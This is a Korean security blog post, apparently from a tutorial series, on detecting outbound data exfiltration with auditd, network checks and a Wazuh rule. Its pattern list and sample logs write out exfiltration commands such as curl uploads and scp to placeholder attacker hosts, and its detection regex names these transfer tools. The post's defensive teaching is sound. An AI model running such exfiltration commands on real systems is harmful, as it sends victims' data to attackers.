232. 중요 정보 접근 — 외부 전송(아웃바운드) 유출 탐지

changseop lee·7일 전

시스템 보안 · 취약점

목록 보기
232/450

시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 32/50편 (전체 232/450)
학습 단계: 데이터 유출(exfiltration) 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

가장 직접적인 유출은 전송 도구로 외부 서버에 데이터를 보내는 것입니다. curl·wget(HTTP), scp·sftp(SSH), nc·socat(raw) 등으로 수집·압축한 데이터를 전송하는 실행 단계를 탐지합니다.

외부 전송 유출 패턴
 curl -T/-d file http://외부   : HTTP 업로드
 wget --post-file             : HTTP POST
 scp file user@외부:/          : SSH 전송
 nc 외부 port < file          : raw 전송
 rsync file 외부::            : rsync 전송

탐지: 전송 프로세스(호스트) + 외부 목적지(네트워크) + 데이터

호스트 감사(프로세스·파일)와 네트워크(아웃바운드 목적지)를 결합해야 "무엇을 어디로" 보냈는지 완전히 파악됩니다.

2. 왜 중요한가

  • 외부 전송은 유출의 실행 단계로, 탐지 즉시 차단해야 피해를 최소화합니다.
  • 전송 프로세스(curl 등)+외부 목적지+전송 파일을 결합해야 유출을 확정합니다.
  • 내부 IP가 아닌 외부 목적지로의 전송, 특히 생소한 IP/도메인이 신호입니다.

3. 핵심 명령어 / 설정

전송 방법채널위험
curl -T/-dHTTP 업로드높음
scp/sftpSSH 전송높음
nc/socatraw 전송높음
rsync 외부동기화 전송높음
정상 API·업데이트허용 목적지정상

4. 실습 (실습 예시)

# 외부 전송 유출 탐지 (분석 방법)
# 전송 도구 + 외부 목적지(파일 전송)
sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(curl|wget|scp|nc|rsync).*' | tail
# 아웃바운드 연결(외부 IP)
ss -tnp 2>/dev/null | grep -E 'curl|scp|nc' | grep -vE '127.0.0.1|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.'

5. 정상 상태

$ (전송 도구) 정상 API·업데이트 연결만(허용 목적지)
$ (아웃바운드) 업데이트 서버·모니터링 등 정상 목적지

아웃바운드 전송이 허용된 정상 목적지(업데이트·API)로만 발생하고, 데이터 파일 전송이 없는 상태가 정상입니다.

6. 이상 상태

$ (전송 도구)
04:06 proctitle="curl -T /tmp/.d/all.tgz http://192.0.2.88/upload"
04:07 proctitle="scp /tmp/e.bin attacker@203.0.113.9:/data"
$ (아웃바운드)
www-data → 192.0.2.88:80, 203.0.113.9:22 (생소한 외부)
  • curl로 staging 데이터를 외부(192.0.2.88)에 업로드 → HTTP 유출
  • scp로 인코딩 데이터를 외부 서버 전송 → SSH 유출
  • 전송 파일(중요 정보)+생소한 외부 목적지 → 유출 실행 → 정탐(피해 확정)

7. 로그 분석 (분석 방법)

외부 전송 유출 흐름입니다(가상의 예시 로그).

type=SYSCALL comm="curl" auid=www-data key="exfil"
type=PROCTITLE proctitle=curl -T /tmp/.d/all.tgz http://192.0.2.88/upload
[네트워크] www-data → 192.0.2.88:80 (대용량 아웃바운드)
 → staging 데이터(E25)를 외부로 전송(유출 실행)
관찰해석
curl -T all.tgz파일 업로드
외부 192.0.2.88생소한 목적지
전송 파일=수집유출 데이터
auid=www-data유출 주체

전송 프로세스+외부 목적지+전송 파일(수집 데이터)이 모두 맞으면 유출 확정입니다.

8. SOC 관제 포인트

  • 외부 전송은 수집·압축 데이터를 외부 서버로 보내는 유출 실행 단계입니다.
  • 전송 프로세스(curl·scp·nc)+외부 목적지+전송 파일 결합으로 확정합니다.
  • 호스트 감사와 네트워크(아웃바운드)를 결합해 "무엇을 어디로"를 파악합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_e,exfiltration,">
  <!-- 전송 도구로 파일 업로드(외부 목적지) -->
  <rule id="104310" level="13">
    <if_sid>104280</if_sid>
    <field name="audit.proctitle" type="pcre2">(curl\s+.*-T|curl\s+.*-d\s+@|wget\s+.*--post-file|scp\s+\S+\s+\S+@|nc\s+.*<)</field>
    <description>전송 도구로 외부 파일 업로드(유출 실행)</description>
    <mitre><id>T1041</id></mitre>
  </rule>
</group>

정상 아웃바운드(업데이트·API)는 목적지 화이트리스트로 제외합니다. 수집(E25)·압축(E30)→전송 세션 연계가 핵심입니다.

10. 대응 방법

  1. 초기 확인 — 전송 프로세스·전송 파일·외부 목적지(IP/도메인)를 확인합니다.
  2. 범위 확인 — 전송 파일이 수집 데이터(E25)인지, 목적지가 생소한 외부인지 확인합니다.
  3. 증거 확보 — 전송 이벤트·네트워크 연결·전송 데이터를 보존합니다.
  4. 차단/조치 — 유출 정탐이면 즉시 연결 차단·세션 종료·유출 범위·목적지 조사를 진행합니다.
  5. 재발 방지 — 호스트+네트워크 결합 외부 전송 탐지를 운영합니다.

11. 핵심 정리

전송 방법채널
curl -T/-dHTTP 업로드
scp/sftpSSH 전송
nc/socatraw 전송
rsync 외부동기화 전송
면접 포인트"외부 전송은 유출 실행 — 프로세스+외부 목적지+전송 파일 결합으로 확정"

12. 다음 편 예고

다음 편 233. 중요 정보 접근 — DNS 터널링 유출 탐지 에서는 DNS 터널링 유출을 다루는 DNS 터널링 유출 탐지를 다룹니다.


이전 편: 231. 중요 정보 접근 — 인코딩·난독화를 통한 유출 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글